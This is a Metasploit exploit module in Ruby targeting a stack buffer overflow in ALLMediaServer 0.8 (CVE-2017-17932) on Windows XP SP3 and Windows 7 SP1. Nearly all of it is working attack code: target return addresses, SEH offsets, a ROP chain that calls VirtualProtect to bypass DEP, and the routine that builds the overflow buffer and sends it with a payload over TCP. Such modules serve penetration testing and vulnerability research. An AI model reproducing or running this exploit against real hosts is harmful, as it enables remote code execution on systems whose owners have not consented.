##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ALLMediaServer 0.8 Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in ALLMediaServer 0.8. The vulnerability
        is caused due to a boundary error within the handling of HTTP request.

        While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't
        reliable across virtual (VMWare, VirtualBox) and physical environments. Because of
        this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default
        DEP is OptIn and AllMediaServer won't run with DEP.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'motaz reda <motazkhodair[at]gmail.com>',	# Original discovery
          'modpr0be <tom[at]spentera.com>',	# Metasploit module
          'juan vazquez' # More improvement
        ],
      'References'     =>
        [
          [ 'CVE', '2017-17932' ],
          [ 'OSVDB', '83889' ],
          [ 'EDB', '19625' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread', #none/process/thread/seh
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars' => "",
          'Space' => 660,
          'DisableNops' => true
        },

      'Targets'        =>
        [
          [ 'ALLMediaServer 0.8 / Windows XP SP3 - English',
            {
              'Ret'       =>	0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll
              'OffsetRop' =>	696,
              'jmp'       =>	264,
              'Offset'    =>	1072
            }
          ],
          [ 'ALLMediaServer 0.8 / Windows 7 SP1 - English',
            {
              'Ret'       =>	0x6ac5cc92, # ppr from avformat-53.dll
              'Offset'    =>	1072
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-07-04',
      'DefaultTarget'  => 1))

    register_options([Opt::RPORT(888)])

  end

  def junk(n=1)
    return [rand_text_alpha(4).unpack("L")[0]] * n
  end

  def nops(rop=false, n=1)
    return rop ? [0x665a0aa1] * n : [0x90909090] * n
  end

  def asm(code)
    Metasm::Shellcode.assemble(Metasm::Ia32.new, code).encode_string
  end

  def exploit
    #with help from mona :)
    rop = [
      nops(true, 12),  #ROP NOP
      0x65f6faa7,      # POP EAX # RETN
      0x671ee4e0,      # ptr to &VirtualProtect()
      0x6ac1ccb4,      # MOV EAX,DWORD PTR DS:[EAX] # RETN
      0x667ceedf,      # PUSH EAX # POP ESI # POP EDI # RETN
      junk,
      0x65f5f09d,      # POP EBP # RETN
      0x65f9830d,      # & call esp
      0x6ac1c1d5,      # POP EBX # RETN
      0x00000600,      # 0x00000320-> ebx
      0x6672a1e2,      # POP EDX # RETN
      0x00000040,      # 0x00000040-> edx
      0x665a09df,      # POP ECX # RETN
      0x6ad58a3d,      # &Writable location
      0x6ac7a771,      # POP EDI # RETN
      nops(true),      # RETN (ROP NOP)
      0x6682f9f4,      # POP EAX # RETN
      nops,            # nop
      0x663dcbd2       # PUSHAD # RETN
    ].flatten.pack("V*")

    connect

    if target.name =~ /Windows 7/
      buffer = rand_text(target['Offset'])
      buffer << generate_seh_record(target.ret)
      buffer << payload.encoded
    else
      buffer = rand_text(target['OffsetRop'])	#junk
      buffer << rop
      buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}") # jmp to payload
      buffer << rand_text(target['Offset'] - buffer.length)
      buffer << generate_seh_record(target.ret)
      buffer << payload.encoded
    end

    print_status("Sending payload to ALLMediaServer on #{target.name}...")
    sock.put(buffer)

    disconnect

  end
end
